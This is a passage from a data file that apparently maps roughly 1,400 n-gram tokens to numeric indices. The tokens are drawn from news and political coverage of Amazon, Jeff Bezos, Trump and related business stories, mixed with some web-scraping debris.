134908, "b5q u9": 134909, "president ivanka": 134910, "weekend update": 134911, "cilantro": 134912, "company accusing": 134913, "data 1521260051": 134914, "mistreating": 134915, "accurate don": 134916, "federal taxes": 134917, "bojack voiced": 134918, "hoxie": 134919, "commerce share": 134920, "prohibiting shoppers": 134921, "announced loudly": 134922, "field provides": 134923, "delivery surcharge": 134924, "scam political": 134925, "hillary scandal": 134926, "trajectory kind": 134927, "amid leadership": 134928, "devise ways": 134929, "disgusting just": 134930, "burke writer": 134931, "adjustment": 134932, "announce decision": 134933, "potentially broken": 134934, "highest contribution": 134935, "handed earlier": 134936, "investigators theorize": 134937, "district light": 134938, "startdate": 134939, "wodj3zgu8a": 134940, "casual bordering": 134941, "rabbitti getty": 134942, "alive girl": 134943, "companies regulators": 134944, "country head": 134945, "walmart acquiring": 134946, "agile programming": 134947, "latest mailer": 134948, "hickman brought": 134949, "female": 134950, "democratic lawmakers": 134951, "earlier exposed": 134952, "particular focus": 134953, "riccardi nickriccardi": 134954, "bigger news": 134955, "popular ride": 134956, "balanced equilibrium": 134957, "broader view": 134958, "transatlantic tidings": 134959, "predatory complaining": 134960, "cohen lawyer": 134961, "abandoned": 134962, "upcoming european": 134963, "praised getty": 134964, "concession": 134965, "embarrassing personal": 134966, "restrict youth": 134967, "want facebook": 134968, "photos published": 134969, "city opposition": 134970, "journal editorial": 134971, "christmas": 134972, "retyped": 134973, "perfect time": 134974, "traumatic": 134975, "stop bad": 134976, "gun owners": 134977, "proper searches": 134978, "season shoppers": 134979, "saint": 134980, "trump mistress": 134981, "canada big": 134982, "clark filmmagic": 134983, "covers depicting": 134984, "cody": 134985, "address thank": 134986, "identical": 134987, "new option": 134988, "staying competitive": 134989, "results economists": 134990, "sheer volume": 134991, "mccain urges": 134992, "stretching": 134993, "media bias": 134994, "morgan yes": 134995, "urging lawmakers": 134996, "hurston read": 134997, "middleweight world": 134998, "achatz": 134999, "levels warmer": 135000, "seductively flippant": 135001, "firm legal": 135002, "contract potentially": 135003, "smartphone manufacturer": 135004, "retirement holds": 135005, "obligation uso": 135006, "representatives sets": 135007, "787 write": 135008, "bring jobs": 135009, "permit ftc": 135010, "snowtown": 135011, "prodding": 135012, "bates says": 135013, "gawker contributing": 135014, "functioning market": 135015, "dip buying": 135016, "oil customers": 135017, "marked big": 135018, "month vice": 135019, "fanatical": 135020, "jersey cash": 135021, "delivering remarks": 135022, "outdoor deck": 135023, "popularity especially": 135024, "senate declared": 135025, "stein community": 135026, "donna lieberman": 135027, "rickjnewman follow": 135028, "holds dear": 135029, "film pioneers": 135030, "2008 competitor": 135031, "hour days": 135032, "market district": 135033, "spot check": 135034, "2008 gop": 135035, "vat": 135036, "economic news": 135037, "words common": 135038, "existing network": 135039, "thom": 135040, "heightened scrutiny": 135041, "alongside film": 135042, "rich abolishing": 135043, "citing onewest": 135044, "near toxic": 135045, "knotted": 135046, "festival announced": 135047, "sedan": 135048, "project space": 135049, "mission statement": 135050, "travel services": 135051, "hat modeled": 135052, "store pickup": 135053, "intelligence technologies": 135054, "169 george": 135055, "tossed water": 135056, "mike decker": 135057, "stunning defeat": 135058, "chaotic": 135059, "buy house": 135060, "known search": 135061, "housing make": 135062, "amazon did": 135063, "year taxpayers": 135064, "ami requests": 135065, "recommends amazon": 135066, "ceo eric": 135067, "country impacting": 135068, "border talks": 135069, "unanswered questions": 135070, "capital survivors": 135071, "amzn admitted": 135072, "annual general": 135073, "republican candidate": 135074, "icky": 135075, "2015 incidentally": 135076, "advice doesn": 135077, "david letterman": 135078, "reports 280": 135079, "costs stand": 135080, "secret": 135081, "mueller probe": 135082, "content groceries": 135083, "practical applications": 135084, "include huge": 135085, "road trip": 135086, "profits increased": 135087, "sinister look": 135088, "reimburse": 135089, "shoulders": 135090, "fuel partnering": 135091, "offer voters": 135092, "monopolies apart": 135093, "real leader": 135094, "increasingly encroaching": 135095, "debtor nation": 135096, "intensified pressures": 135097, "city forecasts": 135098, "carriers bring": 135099, "italian restaurant": 135100, "fever chinese": 135101, "article concludes": 135102, "coast liberal": 135103, "wage new": 135104, "showdetailsspancontent videocardcontents": 135105, "trump biography": 135106, "path according": 135107, "large volume": 135108, "commission itc": 135109, "poor rollout": 135110, "behaves": 135111, "trump met": 135112, "shrugging": 135113, "material needed": 135114, "acquainted": 135115, "agriculture agrochemicals": 135116, "famous tabloid": 135117, "trade france": 135118, "reinforcing": 135119, "thematic competition": 135120, "billion infrastructure": 135121, "rate leaving": 135122, "seasonal delivery": 135123, "messages alleged": 135124, "unequivocally embraced": 135125, "stories pecker": 135126, "far exceeds": 135127, "legal entry": 135128, "amazon working": 135129, "amazon democrats": 135130, "recorded snippets": 135131, "output yields": 135132, "advance making": 135133, "partenheimer added": 135134, "tim klasell": 135135, "abortion law": 135136, "chest shoulder": 135137, "gy6nbvge0c": 135138, "senior staff": 135139, "government taxation": 135140, "pay 269": 135141, "bugbears including": 135142, "wright invsts": 135143, "tremendous wealth": 135144, "journalists warned": 135145, "committed nationalist": 135146, "business media": 135147, "friendly interviews": 135148, "bribing quite": 135149, "president facts": 135150, "election trump": 135151, "cautious politician": 135152, "economic imperative": 135153, "odalisque harriet": 135154, "amd ceo": 135155, "past criticizing": 135156, "roy moore": 135157, "people called": 135158, "does say": 135159, "dismissing counterfeit": 135160, "today rubenstein": 135161, "jeffbozo don": 135162, "hollywood tale": 135163, "massive landslide": 135164, "headlined boyle": 135165, "flotus solo": 135166, "handed": 135167, "winning candidates": 135168, "fall read": 135169, "delusion": 135170, "primary example": 135171, "facto requirement": 135172, "stores looking": 135173, "half true": 135174, "presidential hopefull": 135175, "doesn sound": 135176, "country development": 135177, "fewest jobs": 135178, "pontification": 135179, "amazon starts": 135180, "nbcuniversal unit": 135181, "catastrophic eavesdropping": 135182, "repubs": 135183, "proprietary algorithm": 135184, "yglesias argues": 135185, "nancyscola margaret": 135186, "attack casts": 135187, "income riders": 135188, "hurt initially": 135189, "aggressive expansion": 135190, "buildings amazon": 135191, "commission levied": 135192, "smartest minds": 135193, "kopaloff": 135194, "dod cloud": 135195, "measles outbreaks": 135196, "lift investment": 135197, "city blitz": 135198, "models experts": 135199, "legally dubious": 135200, "reduce risk": 135201, "tradition going": 135202, "travel chau": 135203, "unsettlingly": 135204, "weeks promoted": 135205, "abolish skaters": 135206, "playtime": 135207, "frequently posted": 135208, "contributor jamal": 135209, "slansky": 135210, "giant total": 135211, "gonna rob": 135212, "adel jubeir": 135213, "bad cable": 135214, "privacy technology": 135215, "crisp tense": 135216, "franklin read": 135217, "f1": 135218, "attacked mueller": 135219, "migrants heading": 135220, "stalled 2019": 135221, "judges crowned": 135222, "facebook ad": 135223, "safely return": 135224, "company policies": 135225, "alibaba deal": 135226, "story medical": 135227, "foot long": 135228, "zak1vk5acw": 135229, "aggrieved party": 135230, "secretly negotiated": 135231, "elections fact": 135232, "cjr editor": 135233, "boyne hogarth": 135234, "say bolsonaro": 135235, "million strong": 135236, "party mega": 135237, "example hires": 135238, "offshoot": 135239, "straw cowboy": 135240, "founded company": 135241, "disclose custody": 135242, "outlines": 135243, "gateway": 135244, "soon omers": 135245, "hoft amazon": 135246, "lose sleep": 135247, "self righteous": 135248, "strong chance": 135249, "knicks": 135250, "rates fall": 135251, "young warren": 135252, "primarily attributable": 135253, "departures senate": 135254, "employees deliver": 135255, "groveling": 135256, "pozzebom": 135257, "condition violations": 135258, "digital forensic": 135259, "lurch": 135260, "david lazarus": 135261, "fiance glitch": 135262, "worth gettinghit": 135263, "sanders isn": 135264, "leaving amazon": 135265, "employees turned": 135266, "traditional targets": 135267, "utm_source feedburner": 135268, "hoax reveals": 135269, "proposed hikes": 135270, "litigate": 135271, "pancetta": 135272, "finding homes": 135273, "trump hire": 135274, "cautious view": 135275, "deliveries early": 135276, "queens miller": 135277, "evaluating options": 135278, "maria good": 135279, "modernizr": 135280, "online ordered": 135281, "2018 perfect": 135282, "council told": 135283, "considered increasing": 135284, "drain swamp": 135285, "evidence mounts": 135286, "date hereof": 135287, "markets": 135288, "wnd reported": 135289, "industry linked": 135290, "kit kat": 135291, "voided": 135292, "wealthy avoid": 135293, "rie bloomberg": 135294, "left southern": 135295, "times record": 135296, "huge competitive": 135297, "clothes tend": 135298, "buy time": 135299, "000 neil": 135300, "promoting national": 135301, "aaron eckhart": 135302, "figure saw": 135303, "massive development": 135304, "consult": 135305, "untold destruction": 135306, "court public": 135307, "fake dirty": 135308, "rated photos": 135309, "wants permission": 135310, "bezos cooperate": 135311, "memory piece": 135312, "initial travel": 135313, "criticizing boeing": 135314, "food petco": 135315, "madrona geekwire": 135316, "retrofitting": 135317, "sustain mass": 135318, "high rainfall": 135319, "leaders meet": 135320, "twitter minions": 135321, "isvideoreplayclicked muteplayerenabled": 135322, "logo stamped": 135323, "counsel ken": 135324, "strand owner": 135325, "accusations morph": 135326, "reprogram money": 135327, "indigenous rice": 135328, "ami targeting": 135329, "girlfriend amazon": 135330, "councillor": 135331, "cloud contracting": 135332, "baptist convention": 135333, "illinois state": 135334, "earlier abha": 135335, "businesses ping": 135336, "sweats waterproof": 135337, "alaniz": 135338, "molesting children": 135339, "kennedy singular": 135340, "pce": 135341, "immortal devil": 135342, "increased revenues": 135343, "upcoming book": 135344, "marketing agency": 135345, "47m": 135346, "2019 elkan": 135347, "news partner": 135348, "exchange price": 135349, "great grandmother": 135350, "offensive": 135351, "hired lobbyist": 135352, "route linking": 135353, "permitting fake": 135354, "walmart continues": 135355, "fink costco": 135356, "says trump": 135357, "arrests began": 135358, "bridesmaid": 135359, "states enact": 135360, "merriam": 135361, "vindictive president": 135362, "box retailer": 135363, "hot new": 135364, "undefined": 135365, "amazon released": 135366, "element owl": 135367, "nyc democratic": 135368, "girls": 135369, "explain things": 135370, "sent joint": 135371, "deloitte priya": 135372, "discontinuing": 135373, "replace retiring": 135374, "proposal requesting": 135375, "trust print": 135376, "investing personal": 135377, "hannity called": 135378, "includinghis finances": 135379, "jimenez": 135380, "paris agus": 135381, "washington swamp": 135382, "staffers earn": 135383, "slowing": 135384, "certificate amazon": 135385, "184 funds": 135386, "s\u00e1nchez days": 135387, "service delivered": 135388, "lynching": 135389, "chains scion": 135390, "amazon individually": 135391, "delivery method": 135392, "latest gambit": 135393, "dc ec": 135394, "boasts positive": 135395, "query make": 135396, "2019 lot": 135397, "2f": 135398, "67x": 135399, "providing local": 135400, "experienced national": 135401, "pie": 135402, "read jorg": 135403, "cancel plans": 135404, "teachers union": 135405, "privacy nightmare": 135406, "statement sanders": 135407, "upbeat divorce": 135408, "em want": 135409, "shares forte": 135410, "shipped amazon": 135411, "dr odd": 135412, "curve showing": 135413, "assistant app": 135414, "jpg 1270x734": 135415, "rodney": 135416, "woman told": 135417, "provided explicit": 135418, "newscms": 135419, "anticipation amazon": 135420, "1iq5vw0 videotitledivid": 135421, "null window": 135422, "amazon primeair": 135423, "white man": 135424, "deal white": 135425, "group hadn": 135426, "certain areas": 135427, "ami chairman": 135428, "hoosick falls": 135429, "wsj navarro": 135430, "perfect lives": 135431, "fubotv showtime": 135432, "jonathanvswan": 135433, "small community": 135434, "circumstances externally": 135435, "trump perceives": 135436, "brothers trumpism": 135437, "meyers": 135438, "national general": 135439, "private text": 135440, "2012 2016": 135441, "work mice": 135442, "records pertaining": 135443, "trademark trial": 135444, "says navarro": 135445, "reparations": 135446, "hq trump": 135447, "company shocked": 135448, "cbs website": 135449, "overturned 1992": 135450, "brazilian far": 135451, "house netflix": 135452, "news reps": 135453, "little katy": 135454, "politico samantha": 135455, "abuse services": 135456, "boy amazon": 135457, "piketty author": 135458, "swosh nke": 135459, "threatened legislation": 135460, "635x367": 135461, "schlage smart": 135462, "examiner concluded": 135463, "latest jeff": 135464, "536 gas": 135465, "world export": 135466, "mp johnmcdonnellmp": 135467, "costing": 135468, "nungesser photograph": 135469, "ninth flight": 135470, "shawn dixon": 135471, "army caterpillar": 135472, "class jobs": 135473, "dynamics add": 135474, "violent predator": 135475, "tumble gold": 135476, "discovered amazon": 135477, "travel toothbrushes": 135478, "various forms": 135479, "highly political": 135480, "erroneously calling": 135481, "limited engagement": 135482, "things ami": 135483, "york fight": 135484, "created backlash": 135485, "companies continue": 135486, "wme": 135487, "downsize boston": 135488, "global recruitment": 135489, "qualcomm dropping": 135490, "satya nadella": 135491, "directing federal": 135492, "original host": 135493, "await yelp": 135494, "grom": 135495, "cloud software": 135496, "normal business": 135497, "john binder": 135498, "phoenix police": 135499, "2018 unhinged": 135500, "million loan": 135501, "moves": 135502, "reality says": 135503, "alberg venture": 135504, "clich\u00e9d": 135505, "blume mgmt": 135506, "aws definitely": 135507, "alleged lover": 135508, "term problem": 135509, "texts obtained": 135510, "explains": 135511, "encouraging banks": 135512, "accomplish rudy": 135513, "deruiter": 135514, "man accused": 135515, "podcast serial": 135516, "city headquarters": 135517, "chasmar 567k": 135518, "old virgin": 135519, "forcing students": 135520, "1972 republican": 135521, "sega": 135522, "communications officer": 135523, "friends mackenzie": 135524, "office problems": 135525, "alleges trump": 135526, "twist": 135527, "allegedly robbing": 135528, "amazon departure": 135529, "458 billion": 135530, "constitutional representation": 135531, "maxsa cost": 135532, "shareholder": 135533, "problematic": 135534, "die think": 135535, "long rates": 135536, "congressman thank": 135537, "allows comparison": 135538, "outsized": 135539, "results rigged": 135540, "hide negative": 135541, "represented votes": 135542, "calf": 135543, "winning electoral": 135544, "second north": 135545, "hypersonic": 135546, "ctc": 135547, "tiffany posted": 135548, "journal katie": 135549, "harsh truth": 135550, "risk investigations": 135551, "katz new": 135552, "aided bnsf": 135553, "inexplicably unloaded": 135554, "ultimatums": 135555, "tel aviv": 135556, "allegations rosenstein": 135557, "think unless": 135558, "bhagavad gita": 135559, "launch london": 135560, "sap xe": 135561, "national question": 135562, "vote ramesh": 135563, "pacifica radio": 135564, "dividend": 135565, "selyukh hq2": 135566, "conclusive": 135567, "wavered": 135568, "churches": 135569, "cnnnext dam": 135570, "pays taxes": 135571, "winners foto": 135572, "student visas": 135573, "everybody brewer": 135574, "sep 2017": 135575, "surprising shift": 135576, "andrea stewart": 135577, "driver cross": 135578, "ur energy": 135579, "kissing": 135580, "gounardes": 135581, "term secretary": 135582, "damning story": 135583, "stage negotiations": 135584, "scottie nell": 135585, "postal agency": 135586, "exempts": 135587, "isn ripping": 135588, "win big": 135589, "trump friendly": 135590, "junk insurance": 135591, "amazon spending": 135592, "customised marketing": 135593, "trophy": 135594, "trust concerns": 135595, "euro based": 135596, "care deliberation": 135597, "gamers graphic": 135598, "alteration": 135599, "470 billion": 135600, "online privacy": 135601, "markupid videoid": 135602, "amazon pharmaceuticals": 135603, "leslie nadine": 135604, "washington based": 135605, "unhealthily": 135606, "rate shipping": 135607, "approached anybody": 135608, "added asked": 135609, "perioden": 135610, "puts focus": 135611, "wtr presents": 135612, "diet myths": 135613, "correctly price": 135614, "prosecutors announced": 135615, "live photos": 135616, "irish border": 135617, "challenge cisco": 135618, "hottest strategies": 135619, "day drug": 135620, "agent": 135621, "orca encounter": 135622, "fernandes": 135623, "unsuccessful filmmaker": 135624, "recently reached": 135625, "union busting": 135626, "area photo": 135627, "treasury": 135628, "names including": 135629, "outlet pj": 135630, "make everyday": 135631, "opposites don": 135632, "networking real": 135633, "briefs": 135634, "steve west": 135635, "gotti nyc": 135636, "territory": 135637, "cracker": 135638, "quarters": 135639, "updatecode": 135640, "ajit": 135641, "divides bind": 135642, "prentice talks": 135643, "iq 100": 135644, "worked fine": 135645, "costco card": 135646, "deputy press": 135647, "left hundreds": 135648, "govt order": 135649, "strongmen": 135650, "briefly stopped": 135651, "staples sue": 135652, "genoa bridge": 135653, "breaks leads": 135654, "shipping network": 135655, "heavyweights": 135656, "hardest": 135657, "certain": 135658, "department adriana": 135659, "socialist": 135660, "suze": 135661, "backstory": 135662, "worth donald": 135663, "rep janssen": 135664, "jc penney": 135665, "page tom": 135666, "recently moved": 135667, "amazon cazzioii": 135668, "wrenching images": 135669, "protein powder": 135670, "photo getty": 135671, "clifton": 135672, "sanchez months": 135673, "weblog publish": 135674, "northwestern mutual": 135675, "did tell": 135676, "amazon woul": 135677, "upped": 135678, "told patrick": 135679, "alienate democrats": 135680, "firms violated": 135681, "mexico economy": 135682, "svc enterprise": 135683, "important reporter": 135684, "wsj": 135685, "ami avoided": 135686, "protection headquarters": 135687, "stay flexible": 135688, "dockless": 135689, "des moines": 135690, "general double": 135691, "saying theodore": 135692, "treats companies": 135693, "constrained autonomy": 135694, "pay scales": 135695, "qualified": 135696, "pam": 135697, "vanderhoof": 135698, "followin": 135699, "pay lot": 135700, "insure": 135701, "facing years": 135702, "apple say": 135703, "passenger didi": 135704, "wince": 135705, "tactics matt": 135706, "fireside chats": 135707, "notechforicehttps": 135708, "develop code": 135709, "ceo faces": 135710, "fedora": 135711, "reportedly zeroed": 135712, "hastening human": 135713, "1_5 ad": 135714, "fisa": 135715, "post notes": 135716, "attacks haven": 135717, "1on8bqw": 135718, "sweatshirts": 135719, "2021": 135720, "arrogance trump": 135721, "amazon adopted": 135722, "similar trump": 135723, "forbes current": 135724, "trust violations": 135725, "demand particularly": 135726, "having good": 135727, "hellman": 135728, "mike miller": 135729, "impact conducted": 135730, "revenue": 135731, "beating croatia": 135732, "secret service": 135733, "economists earlier": 135734, "noticed china": 135735, "justice related": 135736, "group publications": 135737, "warehouses thousands": 135738, "presidential coverage": 135739, "socialist senator": 135740, "safety rules": 135741, "infused neorealism": 135742, "inside look": 135743, "hartsfield": 135744, "actually paid": 135745, "work underneath": 135746, "loses comeback": 135747, "animal control": 135748, "gripping novel": 135749, "cloud ives": 135750, "adding fuel": 135751, "mean early": 135752, "medicine telling": 135753, "initial expectations": 135754, "furnishings internet": 135755, "space bezos": 135756, "excluding metapack": 135757, "queenschronicle": 135758, "question similarly": 135759, "unlawful acts": 135760, "playing trump": 135761, "oxymoronic katherine": 135762, "discuss commerce": 135763, "bahamas": 135764, "device marks": 135765, "cortez stance": 135766, "free rein": 135767, "reported wapo": 135768, "companies large": 135769, "focused cooking": 135770, "foreclosure process": 135771, "wealthfront betterment": 135772, "gmb members": 135773, "online lives": 135774, "buying chukumba": 135775, "o2x a4ee": 135776, "human embryonic": 135777, "jacquelyn martin": 135778, "toll coming": 135779, "publish selfies": 135780, "extremist groups": 135781, "charm": 135782, "2019 charlie": 135783, "cuellar texas": 135784, "human colonies": 135785, "divisions amazon": 135786, "union goog": 135787, "wearing anti": 135788, "picture jeff": 135789, "speed bump": 135790, "psychological addiction": 135791, "received donations": 135792, "overlooks": 135793, "launched apps": 135794, "heavy lift": 135795, "manipulating components": 135796, "doom": 135797, "arena": 135798, "chicha koeswoyo": 135799, "actor brad": 135800, "queens hq2scam": 135801, "power structure": 135802, "hollywood companies": 135803, "trip versus": 135804, "tiny israeli": 135805, "ceneta": 135806, "fbi shouldinvestigate": 135807, "joke lives": 135808, "centralization": 135809, "distribution stores": 135810, "dorms": 135811, "pay state": 135812, "tariffs loom": 135813, "brexit minister": 135814, "year sales": 135815, "afp amazon": 135816, "greenberg offered": 135817, "similar criticisms": 135818, "cyclist": 135819, "insurance alexa": 135820, "dc whichever": 135821, "rosenberg jeff": 135822, "week obligation": 135823, "francisco headquarters": 135824, "deporting": 135825, "start charging": 135826, "effectively subsidized": 135827, "jessica valenti": 135828, "expressed solidarity": 135829, "poorer schools": 135830, "time confirming": 135831, "bezos pressured": 135832, "authoritarian surveillance": 135833, "publishing needle": 135834, "fb amzn": 135835, "prior administrations": 135836, "weighed average": 135837, "risk customers": 135838, "competition decreased": 135839, "yesterday sank": 135840, "just reduced": 135841, "told euractiv": 135842, "trump tweeting": 135843, "________________________": 135844, "stance fearless": 135845, "story bezos": 135846, "commerce vendors": 135847, "statewide rate": 135848, "school indicated": 135849, "hijacking": 135850, "grocery sector": 135851, "rung": 135852, "year facebook": 135853, "amazon music": 135854, "increased investments": 135855, "jeff mackenzie": 135856, "outsmarted": 135857, "longtime covert": 135858, "calls fulfillment": 135859, "fantasized": 135860, "authority managers": 135861, "repeatedly beaten": 135862, "detained mexican": 135863, "login": 135864, "trump celebrated": 135865, "serial shooting": 135866, "monstrous corporate": 135867, "day payments": 135868, "nicknamed rubi": 135869, "colorado fedscoop": 135870, "teva": 135871, "following personal": 135872, "memo criticizing": 135873, "thatwe": 135874, "times exclusive": 135875, "computer drive": 135876, "large media_0": 135877, "sculptures": 135878, "earhardt": 135879, "communities recover": 135880, "unfiltered": 135881, "partisan message": 135882, "originalimageurl": 135883, "positive star": 135884, "850 words": 135885, "president don": 135886, "globe": 135887, "pension": 135888, "brennan reassurances": 135889, "creates clean": 135890, "madea character": 135891, "page news": 135892, "steal merchants": 135893, "stores imagine": 135894, "marked increase": 135895, "took swings": 135896, "oversight filed": 135897, "invaded": 135898, "reason unknown": 135899, "tissue papers": 135900, "lorry queues": 135901, "simply tell": 135902, "involving story": 135903, "democratic chairman": 135904, "mxhrafnf2k national": 135905, "means anymore": 135906, "staircase": 135907, "named diana": 135908, "044": 135909, "worker political": 135910, "regulation washington": 135911, "spouses children": 135912, "jennifer": 135913, "office sanders": 135914, "dysfunctional administration": 135915, "contract amazon": 135916, "trump fox": 135917, "rathner nerdwallet": 135918, "hour data": 135919, "flavours": 135920, "buzzfeed trump": 135921, "jinping investors": 135922, "diary 2018": 135923, "stewart firebrand": 135924, "directly operate": 135925, "enduring american": 135926, "truly motivated": 135927, "positions rightist": 135928, "politicon": 135929, "street microscope": 135930, "meeks wireless": 135931, "q6": 135932, "conservatives haven": 135933, "load": 135934, "sciences nyt": 135935, "news services": 135936, "visitors mailonline": 135937, "commercial interests": 135938, "firm noted": 135939, "economy steve": 135940, "heres": 135941, "company takes": 135942, "amazon lure": 135943, "senatemajldr say": 135944, "rudderless": 135945, "politics france": 135946, "summary states": 135947, "biological immutable": 135948, "love newsletter": 135949, "jeans sagging": 135950, "frequently targeted": 135951, "far identified": 135952, "moon bay": 135953, "spent years": 135954, "racism exists": 135955, "sundaythoughts christmasiscoming": 135956, "imposing record": 135957, "daughter teal": 135958, "retailers": 135959, "harshest": 135960, "market watch": 135961, "provincialism isn": 135962, "bzwidgets null": 135963, "msft alphabet": 135964, "doing away": 135965, "gotten bullish": 135966, "compressed trump": 135967, "local policy": 135968, "craziest campaign": 135969, "concerts": 135970, "cracked": 135971, "florida state": 135972, "celebrity gossip": 135973, "fight democrats": 135974, "pushing fringe": 135975, "general morgan": 135976, "helaunched": 135977, "trump favorably": 135978, "ride later": 135979, "data description": 135980, "cold reception": 135981, "afp pic": 135982, "balding": 135983, "families depend": 135984, "appearance mair": 135985, "viewing knocked": 135986, "resembles library": 135987, "told yahoo": 135988, "quarter glenview": 135989, "ingredients food": 135990, "united statessenate": 135991, "penkala buffalo": 135992, "mother realize": 135993, "way apollo": 135994, "properly sourced": 135995, "infringes": 135996, "higher labor": 135997, "contract finally": 135998, "providing cloud": 135999, "field specialists": 136000, "election company": 136001, "billion unless": 136002, "agency spends": 136003, "sanchez regret": 136004, "entitlement": 136005, "shared thoughts": 136006, "sessions left": 136007, "tobacco products": 136008, "hours ago": 136009, "lending hand": 136010, "reasons having": 136011, "secretary henry": 136012, "latest tech": 136013, "obscured": 136014, "usb cables": 136015, "deal": 136016, "homepage": 136017, "future data": 136018, "shagmobile": 136019, "suppressed senate": 136020, "bit bartiromo": 136021, "prime hangout": 136022, "talking sculpture": 136023, "culminates painstaking": 136024, "calgaryherald": 136025, "steph": 136026, "trump press": 136027, "suit says": 136028, "latest india": 136029, "caravan moves": 136030, "just trolling": 136031, "rebounds": 136032, "time seasonal": 136033, "server room": 136034, "2018 pregnancy": 136035, "cloud agreement": 136036, "reassures region": 136037, "die netflix": 136038, "parents bezos": 136039, "reassignments": 136040, "imagealt": 136041, "doris kearns": 136042, "hundreds week": 136043, "question involve": 136044, "jeremy barr": 136045, "veteran technology": 136046, "concerned alumni": 136047, "2018plenty": 136048, "sytle": 136049, "paw": 136050, "article suicide": 136051, "2013 federal": 136052, "reimposes": 136053, "sticker sparks": 136054, "howmuchcanwelosethisyear endcorporatewelfare": 136055, "dominate washington": 136056, "admits": 136057, "mid 2018": 136058, "administration florida": 136059, "rzyqq6yuek new": 136060, "follow gothamist": 136061, "deputy leader": 136062, "tough sanctions": 136063, "partial glimpse": 136064, "global recession": 136065, "lead efforts": 136066, "hasn heeded": 136067, "deap": 136068, "frank rollback": 136069, "sad": 136070, "trumps article37723967": 136071, "prime business": 136072, "newsroom leonard": 136073, "beacon notes": 136074, "revenue source": 136075, "obamagatespyscandal": 136076, "activist thank": 136077, "based writer": 136078, "providing great": 136079, "super hub": 136080, "lower katherine": 136081, "vitriolic comments": 136082, "tax cuts": 136083, "exxon": 136084, "ubhi": 136085, "financial problems": 136086, "emailed request": 136087, "2019 involve": 136088, "american political": 136089, "corporate arrogance": 136090, "turnaround plan": 136091, "clark branding": 136092, "research center": 136093, "threats posed": 136094, "twitter urge": 136095, "horror series": 136096, "proposed change": 136097, "sepulcher": 136098, "ulrich strengthen": 136099, "named floyd": 136100, "borrow invest": 136101, "strict time": 136102, "draft release": 136103, "tax dodges": 136104, "itep reckons": 136105, "infestitation": 136106, "generated hot": 136107, "provide downward": 136108, "planning cnn": 136109, "volume increased": 136110, "fee": 136111, "dog": 136112, "ex trump": 136113, "does microsoft": 136114, "usps cash": 136115, "niet": 136116, "surrealist work": 136117, "summer shows": 136118, "royal": 136119, "reuters tv": 136120, "mercenary types": 136121, "franchises": 136122, "big": 136123, "sensationalist headlines": 136124, "detainees people": 136125, "wait john": 136126, "better obviously": 136127, "named": 136128, "red lion": 136129, "emerging site": 136130, "line numbers": 136131, "leave town": 136132, "conspiracy theory": 136133, "red satin": 136134, "manager slammed": 136135, "related twitter": 136136, "troubling anti": 136137, "jobless": 136138, "federal spending": 136139, "confirmation email": 136140, "announced 100": 136141, "publication chooses": 136142, "people saw": 136143, "stock buying": 136144, "operations costs": 136145, "lacked": 136146, "equation": 136147, "nafta dea": 136148, "social problems": 136149, "provide cooperation": 136150, "expend": 136151, "society supporters": 136152, "pledges skills": 136153, "super cut": 136154, "fleischer": 136155, "rupaul": 136156, "obvious given": 136157, "agent verify": 136158, "meteoric growth": 136159, "pro tablet": 136160, "happen bezos": 136161, "infotainment": 136162, "travelling": 136163, "pulling facebook": 136164, "publicly available": 136165, "cartel laws": 136166, "maker birkenstock": 136167, "president justice": 136168, "tracee": 136169, "gamble vice": 136170, "ice bookshelves": 136171, "trump giving": 136172, "lf3": 136173, "blaze": 136174, "intellectually gifted": 136175, "condensed": 136176, "iq travel": 136177, "injunction photo": 136178, "cfo": 136179, "months actually": 136180, "reporting big": 136181, "inclusive design": 136182, "high market": 136183, "cold overnight": 136184, "advisor colleen": 136185, "broader pattern": 136186, "america argued": 136187, "global economy": 136188, "scott putting": 136189, "salt lake": 136190, "analyst pipe": 136191, "demand anytime": 136192, "companies 2018": 136193, "business run": 136194, "retail sell": 136195, "water treatment": 136196, "marketwatch house": 136197, "absolute worst": 136198, "growth bradley": 136199, "washington analysis": 136200, "formally announced": 136201, "expense centered": 136202, "trademark management": 136203, "puzder": 136204, "respect image": 136205, "gives europe": 136206, "lightfoot reflects": 136207, "approach featured": 136208, "italy libya": 136209, "irresistible": 136210, "1014189395883249665": 136211, "competitive edge": 136212, "nationwide think": 136213, "nation finally": 136214, "grapples": 136215, "washington board": 136216, "delivery isn": 136217, "agricultural interests": 136218, "trump discussed": 136219, "shares yorktown": 136220, "623": 136221, "recent tax": 136222, "icahn": 136223, "trump attention": 136224, "museums": 136225, "funny logical": 136226, "guys just": 136227, "civilians": 136228, "range including": 136229, "quarter economic": 136230, "walmart brick": 136231, "reasons include": 136232, "jersey thank": 136233, "elon": 136234, "scrub away": 136235, "free 2018": 136236, "day sales": 136237, "2019 sorry": 136238, "advisers holds": 136239, "sandberg vice": 136240, "occ armed": 136241, "national tech": 136242, "american left": 136243, "expansions push": 136244, "previously charged": 136245, "marley michaelmc5117": 136246, "admittedly different": 136247, "nupro": 136248, "don cut": 136249, "greatest rivals": 136250, "billionaires people": 136251, "inched": 136252, "censor messages": 136253, "obama george": 136254, "clamping": 136255, "year pro": 136256, "missil": 136257, "revenue prime": 136258, "amazon jpg": 136259, "pruitt says": 136260, "slashing obama": 136261, "voice conscience": 136262, "republican lawmakers": 136263, "know item": 136264, "animals ibm": 136265, "latest deals": 136266, "reynolds epa": 136267, "bozogate": 136268, "self described": 136269, "resolution exposes": 136270, "states experiences": 136271, "bribe operations": 136272, "weaker reading": 136273, "allowing customers": 136274, "bezos release": 136275, "cmn": 136276, "aisha sultan": 136277, "wore clothes": 136278, "matteo": 136279, "state death": 136280, "president saw": 136281, "state sponsored": 136282, "policies motley": 136283, "president attacks": 136284, "risky investments": 136285, "help msn": 136286, "york magazine": 136287, "bon app\u00e9tit": 136288, "insider ism": 136289, "cl\u00f3vis": 136290, "microsoft devices": 136291, "whipped cream": 136292, "upending": 136293, "thrones final": 136294, "americanallies": 136295, "broader strategy": 136296, "attacking": 136297, "shooting occurred": 136298, "ago alphonso": 136299, "aka tropical": 136300, "services groceries": 136301, "ceo jpmorgan": 136302, "republic oil": 136303, "rate cultural": 136304, "harvard law": 136305, "trump realdonaldtrump": 136306, "shirt dp": 136307, "severe": 136308, "king country": 136309, "tennis diapers": 136310, "gas industries": 136311, "mind suggesting": 136312, "ballot": 136313, "western article37005968": 136314, "yards bancshares": 136315, "deserves excellent": 136316, "hit session": 136317, "proposed changing": 136318, "letters intercepted": 136319, "tsx ry": 136320, "le carr\u00e9": 136321, "hine": 136322, "sanders campaign": 136323, "soon lose": 136324, "levitan greed": 136325, "poverty rate": 136326, "employees ftes": 136327, "technology training": 136328, "brantley": 136329, "trading involves": 136330, "materialize": 136331, 